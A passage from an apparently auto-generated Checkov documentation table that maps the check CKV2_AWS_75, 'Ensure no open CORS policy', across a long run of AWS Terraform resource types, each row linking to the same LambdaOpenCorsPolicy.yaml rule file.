[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3231 | CKV2_AWS_75     | resource | aws_redshiftserverless_snapshot                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3232 | CKV2_AWS_75     | resource | aws_redshiftserverless_usage_limit                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3233 | CKV2_AWS_75     | resource | aws_redshiftserverless_workgroup                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3234 | CKV2_AWS_75     | resource | aws_region_info                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3235 | CKV2_AWS_75     | resource | aws_rekognition_collection                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3236 | CKV2_AWS_75     | resource | aws_rekognition_project                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3237 | CKV2_AWS_75     | resource | aws_rekognition_stream_processor                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3238 | CKV2_AWS_75     | resource | aws_resiliencehub_resiliency_policy                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3239 | CKV2_AWS_75     | resource | aws_resourceexplorer2_index                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3240 | CKV2_AWS_75     | resource | aws_resourceexplorer2_view                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3241 | CKV2_AWS_75     | resource | aws_resourcegroups_group                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3242 | CKV2_AWS_75     | resource | aws_resourcegroups_resource                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3243 | CKV2_AWS_75     | resource | aws_rolesanywhere_profile                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3244 | CKV2_AWS_75     | resource | aws_rolesanywhere_trust_anchor                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3245 | CKV2_AWS_75     | resource | aws_root                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3246 | CKV2_AWS_75     | resource | aws_root_access_key                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3247 | CKV2_AWS_75     | resource | aws_route                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3248 | CKV2_AWS_75     | resource | aws_route53_cidr_collection                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3249 | CKV2_AWS_75     | resource | aws_route53_cidr_location                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3250 | CKV2_AWS_75     | resource | aws_route53_delegation_set                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3251 | CKV2_AWS_75     | resource | aws_route53_health_check                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3252 | CKV2_AWS_75     | resource | aws_route53_hosted_zone_dnssec                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3253 | CKV2_AWS_75     | resource | aws_route53_key_signing_key                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3254 | CKV2_AWS_75     | resource | aws_route53_query_log                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3255 | CKV2_AWS_75     | resource | aws_route53_record                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3256 | CKV2_AWS_75     | resource | aws_route53_resolver_config                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3257 | CKV2_AWS_75     | resource | aws_route53_resolver_dnssec_config                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3258 | CKV2_AWS_75     | resource | aws_route53_resolver_endpoint                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3259 | CKV2_AWS_75     | resource | aws_route53_resolver_firewall_config                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3260 | CKV2_AWS_75     | resource | aws_route53_resolver_firewall_domain_list                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3261 | CKV2_AWS_75     | resource | aws_route53_resolver_firewall_rule                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3262 | CKV2_AWS_75     | resource | aws_route53_resolver_firewall_rule_group                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3263 | CKV2_AWS_75     | resource | aws_route53_resolver_firewall_rule_group_association             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3264 | CKV2_AWS_75     | resource | aws_route53_resolver_query_log_config                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3265 | CKV2_AWS_75     | resource | aws_route53_resolver_query_log_config_association                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3266 | CKV2_AWS_75     | resource | aws_route53_resolver_rule                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3267 | CKV2_AWS_75     | resource | aws_route53_resolver_rule_association                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3268 | CKV2_AWS_75     | resource | aws_route53_traffic_policy                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3269 | CKV2_AWS_75     | resource | aws_route53_traffic_policy_instance                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3270 | CKV2_AWS_75     | resource | aws_route53_vpc_association_authorization                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3271 | CKV2_AWS_75     | resource | aws_route53_zone                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3272 | CKV2_AWS_75     | resource | aws_route53_zone_association                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3273 | CKV2_AWS_75     | resource | aws_route53domains_delegation_signer_record                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3274 | CKV2_AWS_75     | resource | aws_route53domains_domain                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3275 | CKV2_AWS_75     | resource | aws_route53domains_registered_domain                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3276 | CKV2_AWS_75     | resource | aws_route53profiles_association                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3277 | CKV2_AWS_75     | resource | aws_route53profiles_profile                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3278 | CKV2_AWS_75     | resource | aws_route53profiles_resource_association                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3279 | CKV2_AWS_75     | resource | aws_route53recoverycontrolconfig_cluster                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3280 | CKV2_AWS_75     | resource | aws_route53recoverycontrolconfig_control_panel                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3281 | CKV2_AWS_75     | resource | aws_route53recoverycontrolconfig_routing_control                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3282 | CKV2_AWS_75     | resource | aws_route53recoverycontrolconfig_safety_rule                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3283 | CKV2_AWS_75     | resource | aws_route53recoveryreadiness_cell                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3284 | CKV2_AWS_75     | resource | aws_route53recoveryreadiness_readiness_check                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3285 | CKV2_AWS_75     | resource | aws_route53recoveryreadiness_recovery_group                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3286 | CKV2_AWS_75     | resource | aws_route53recoveryreadiness_resource_set                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3287 | CKV2_AWS_75     | resource | aws_route_table                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3288 | CKV2_AWS_75     | resource | aws_route_table_association                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3289 | CKV2_AWS_75     | resource | aws_rum_app_monitor                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3290 | CKV2_AWS_75     | resource | aws_rum_metrics_destination                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3291 | CKV2_AWS_75     | resource | aws_s3_access_point                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3292 | CKV2_AWS_75     | resource | aws_s3_account_public_access_block                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3293 | CKV2_AWS_75     | resource | aws_s3_bucket                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3294 | CKV2_AWS_75     | resource | aws_s3_bucket_accelerate_configuration                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3295 | CKV2_AWS_75     | resource | aws_s3_bucket_acl                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3296 | CKV2_AWS_75     | resource | aws_s3_bucket_analytics_configuration                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3297 | CKV2_AWS_75     | resource | aws_s3_bucket_cors_configuration                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3298 | CKV2_AWS_75     | resource | aws_s3_bucket_intelligent_tiering_configuration                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3299 | CKV2_AWS_75     | resource | aws_s3_bucket_inventory                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3300 | CKV2_AWS_75     | resource | aws_s3_bucket_lifecycle_configuration                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3301 | CKV2_AWS_75     | resource | aws_s3_bucket_logging                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3302 | CKV2_AWS_75     | resource | aws_s3_bucket_metric                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3303 | CKV2_AWS_75     | resource | aws_s3_bucket_notification                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3304 | CKV2_AWS_75     | resource | aws_s3_bucket_object                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3305 | CKV2_AWS_75     | resource | aws_s3_bucket_object_lock_configuration                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3306 | CKV2_AWS_75     | resource | aws_s3_bucket_ownership_controls                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3307 | CKV2_AWS_75     | resource | aws_s3_bucket_policy                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3308 | CKV2_AWS_75     | resource | aws_s3_bucket_public_access_block                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3309 | CKV2_AWS_75     | resource | aws_s3_bucket_replication_configuration                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3310 | CKV2_AWS_75     | resource | aws_s3_bucket_request_payment_configuration                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3311 | CKV2_AWS_75     | resource | aws_s3_bucket_server_side_encryption_configuration               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3312 | CKV2_AWS_75     | resource | aws_s3_bucket_versioning                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3313 | CKV2_AWS_75     | resource | aws_s3_bucket_website_configuration                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3314 | CKV2_AWS_75     | resource | aws_s3_directory_bucket                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3315 | CKV2_AWS_75     | resource | aws_s3_object                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3316 | CKV2_AWS_75     | resource | aws_s3_object_copy                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3317 | CKV2_AWS_75     | resource | aws_s3control_access_grant                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3318 | CKV2_AWS_75     | resource | aws_s3control_access_grants_instance                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3319 | CKV2_AWS_75     | resource | aws_s3control_access_grants_instance_resource_policy             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3320 | CKV2_AWS_75     | resource | aws_s3control_access_grants_location                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3321 | CKV2_AWS_75     | resource | aws_s3control_access_point_policy                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3322 | CKV2_AWS_75     | resource | aws_s3control_bucket                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3323 | CKV2_AWS_75     | resource | aws_s3control_bucket_lifecycle_configuration                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3324 | CKV2_AWS_75     | resource | aws_s3control_bucket_policy                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3325 | CKV2_AWS_75     | resource | aws_s3control_multi_region_access_point                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3326 | CKV2_AWS_75     | resource | aws_s3control_multi_region_access_point_policy                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | 